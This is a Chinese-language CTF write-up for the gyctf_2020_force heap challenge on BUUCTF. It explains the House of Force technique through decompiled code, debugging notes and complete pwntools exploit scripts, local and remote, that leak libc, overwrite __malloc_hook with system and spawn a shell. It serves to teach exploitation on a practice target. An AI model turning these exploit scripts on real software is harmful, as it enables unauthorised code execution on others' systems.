gyctf_2020_force
参考
(小吐槽:原本是想学习一下House of Force,但没想到在libc文件上这么麻烦,buu的题目有自己对应的libc文件,和glibc-all-in-one里面的不一样,但它又没给ld文件,换源都换不了,我也是服了,对于新手小白真的很不友好(裂开 ),想本地调试都不好调)
(虽然经大佬提醒可以通过libc文件去找对应的libc版本,但题目写都写完了,偷个懒就先不搞了,嘿嘿嘿)
(这题one_gadget不能直接,需要 realloc,再加上libc文件的问题,所以找了个 system(‘/bin/sh’) 的打法)
准备
先用自己glibc-all-in-one的libc文件打通本地

分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __fastcall __noreturn main(int a1, char **a2, char **a3) { __int64 n2; // rax _BYTE s[256]; // [rsp+10h] [rbp-110h] BYREF unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(s, 255, sizeof(s)); while ( 1 ) { memset(s, 255, sizeof(s)); puts("1:add"); puts("2:puts"); read(0, nptr, 0xFuLL); n2 = atol(nptr); if ( n2 == 1 ) { sub_A20(); } else if ( n2 == 2 ) { sub_B92(); } } }
|
看提示语有创建和输出函数
1-sub_A20(add)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| unsigned __int64 sub_A20() { const void **i; // [rsp+0h] [rbp-120h] __int64 size; // [rsp+8h] [rbp-118h] _BYTE s[256]; // [rsp+10h] [rbp-110h] BYREF unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u); memset(s, 255, sizeof(s)); for ( i = (const void **)&unk_202080; *i; ++i ) ; if ( (char *)i - (char *)&unk_202080 > 39 ) exit(0); puts("size"); read(0, nptr, 0xFuLL); size = atol(nptr); *i = malloc(size); if ( !*i ) exit(0); printf("bin addr %p\n", *i); puts("content"); read(0, (void *)*i, 0x50uLL); puts("done"); return __readfsqword(0x28u) ^ v4; }
|
这里对创建的堆块大小没有限制
并且创建时会输出创建堆块的地址
在下面输入内容处,用read函数,读取输入最大80(0x50)个字节到块中,但当我们给的大小小于输入内容大小时,就会造成溢出
2-sub_B92(show)函数
1 2 3 4 5 6 7 8
| unsigned __int64 sub_B92() { unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u); puts(&s_); return __readfsqword(0x28u) ^ v1; }
|
没什么用
思路
这题是用 House of Force
手法(概括思路看 House of Force
自己整理的学习知识点)
因为创建堆块时会泄露堆块地址,所以可以先使用基于 mmap chunk
和 libc
地址的固定偏移关系的方法去泄露 libc
知识点:
在处理大 chunk
时的行为:
glibc
的 malloc
对于大于 mmap_threshold
的申请,不使用 heap
,而是直接调用 mmap()
向内核申请一块内存。
默认情况下,这个阈值在 128 KB 左右(也可能是更大)
(比如:malloc(0x20000)
➜ 会使用 mmap
)
mmap
分配的大 chunk
地址规律:
- 使用
mmap()
分配的内存块,一般在 libc 映射地址之下;
- 在默认的内存布局中,
mmap()
返回的地址和 libc.so
的加载基址存在一个固定偏移;
利用:
- 申请一个超大
chunk
(触发 mmap
)
- 打印这个
chunk
的地址
- 减去偏移 ➜ 得到
libc base
这个偏移值是固定的(取决于特定 libc 版本的布局),你只要知道 libc
版本,就可以知道偏移量。
libc.address
(在知道 libc
文件时使用)
libc.address
是 pwntools
里的一个属性,其用途是设置 libc 库在内存中的基地址。一旦这个基地址被设置好,pwntools
就能自动计算出 libc
中各个函数和变量的实际地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context.log_level = "debug" # io=remote('node5.buuoj.cn',27593) io= process('/home/motaly/force1') elf=ELF('/home/motaly/force1') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def add(size, content): io.sendlineafter("2:puts\n", "1") io.sendlineafter("size\n", str(size)) io.recvuntil("bin addr ") addr = int(io.recv(14),16) io.sendlineafter("content\n",content) return addr
libc.address=add(0x200000, 'aaa\n') log.success("libc_base :"+hex(libc.address)) #gdb.attach(io)
|
这里创建的值一定要够大,才会使用 mmap
创建,先获取堆块地址,进行调试,获取堆块地址与libc
的固定偏移

1 2
| libc.address=add(0x200000, 'aaa\n')+0x200ff0 log.success("libc.address :"+hex(libc.address))
|

有了 libc
基址后,开始使用 House of Force
手法通过溢出去修改 top chunk
的 size
,同时把 '/bin/sh'
写入 top chunk
(注意:溢出需覆盖到 top chunk
的 size
字段时篡改后的 size
需满足 (size & 1) == 1
(即 PREV_INUSE
位为 1),否则 glibc
会认为前一个块空闲,触发合并逻辑,导致利用失败。)
1 2 3 4 5
| libc.address=add(0x200000, 'aaa\n')+0x200ff0 log.success("libc.address :"+hex(libc.address))
top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10 log.success("top :"+hex(top))
|
这里使用 p64(0xFFFFFFFFFFFFFFFF | 0x1)
强制设置PREV_INUSE
标志位
把 '/bin/sh'
写在 0xFFFFFFFFFFFFFFFF 前,以便后面通过 top chunk
调用 '/bin/sh'

考虑到后面创建堆块的 chunk
头部占用空间,这里填充的偏移量进行减少
1 2 3 4 5 6 7 8 9 10 11 12
| libc.address=add(0x200000, 'aaa\n')+0x200ff0 log.success("libc.address :"+hex(libc.address))
top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10 log.success("top :"+hex(top))
malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
|
0x20的值不是一定的,但其他的值需要具体调试,0x20是刚好后面往 malloc_hook
里面写入 system
此时已经计算了 malloc_hook
与 top chunk
间的大致距离,我们通过创建距离大小的堆块,使 top chunk
靠近 malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| libc.address=add(0x200000, 'aaa\n')+0x200ff0 log.success("libc.address :"+hex(libc.address))
top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10 log.success("top :"+hex(top))
malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
addr=add(offset, 'a') addr1=addr+offset log.success("addr1 :"+hex(addr1))
|
addr1
就是创建后的 top chunk
地址

这里在创建一个堆块,内容是 system
,前面的 memalign_hook
和 realloc_hook
用做堆块头,内容输入开始的地方直接是 malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| libc.address=add(0x200000, 'aaa\n')+0x200ff0 log.success("libc.address :"+hex(libc.address))
top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10 log.success("top :"+hex(top))
malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
addr=add(offset, 'a') addr1=addr+offset log.success("addr1 :"+hex(addr1))
addr2=add(0x10,p64(system)) log.success("addr2 :"+hex(addr2))
|

最后创建堆块,size
值给 top chunk
地址,触发 system('/bin/sh')
(size
值原本我们给的是数值,会把这个数值给 rdi
,现在给的是 top chunk
地址,给 rdi
的值就是 top chunk
的内容)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| libc.address=add(0x200000, 'aaa\n')+0x200ff0 log.success("libc.address :"+hex(libc.address))
top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10 log.success("top :"+hex(top))
malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
addr=add(offset, 'a') addr1=addr+offset log.success("addr1 :"+hex(addr1))
addr2=add(0x10,p64(system)) log.success("addr2 :"+hex(addr2))
io.recvuntil("2:puts\n") io.sendline('1') io.recvuntil("size\n") #gdb.attach(io) io.sendline(str(top))
|


脚本
本地调试的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context.log_level = "debug" # io=remote('node5.buuoj.cn',27593) io= process('/home/motaly/force1') elf=ELF('/home/motaly/force1') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def add(size, content): io.sendlineafter("2:puts\n", "1") io.sendlineafter("size\n", str(size)) io.recvuntil("bin addr ") addr = int(io.recv(14),16) io.sendlineafter("content\n",content) return addr
libc.address=add(0x200000, 'aaa\n')+0x200ff0 log.success("libc.address :"+hex(libc.address))
top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10 log.success("top :"+hex(top))
malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
addr=add(offset, 'a') addr1=addr+offset log.success("addr1 :"+hex(addr1))
addr2=add(0x10,p64(system)) log.success("addr2 :"+hex(addr2))
io.recvuntil("2:puts\n") io.sendline('1') io.recvuntil("size\n") io.sendline(str(top))
io.interactive()
|
远程
(不用换源,直接用buu的libc文件)
BUUCTF-libc文件下载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * context.log_level = "debug" io=remote('node5.buuoj.cn',29058) # io= process('/home/motaly/force') elf=ELF('/home/motaly/force') libc=ELF('/home/motaly/libc-2.23.so')
def add(size, content): io.sendlineafter("2:puts\n", "1") io.sendlineafter("size\n", str(size)) io.recvuntil("bin addr ") addr = int(io.recv(14),16) io.sendlineafter("content\n",content) return addr
libc.address=add(0x200000, 'aaa\n')+0x200ff0 log.success("libc.address :"+hex(libc.address))
top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10 log.success("top :"+hex(top))
malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
addr=add(offset, 'a') log.success("addr :"+hex(addr))
add(0x10,p64(system))
io.recvuntil("2:puts\n") io.sendline('1') io.recvuntil("size\n") io.sendline(str(top))
io.interactive()
|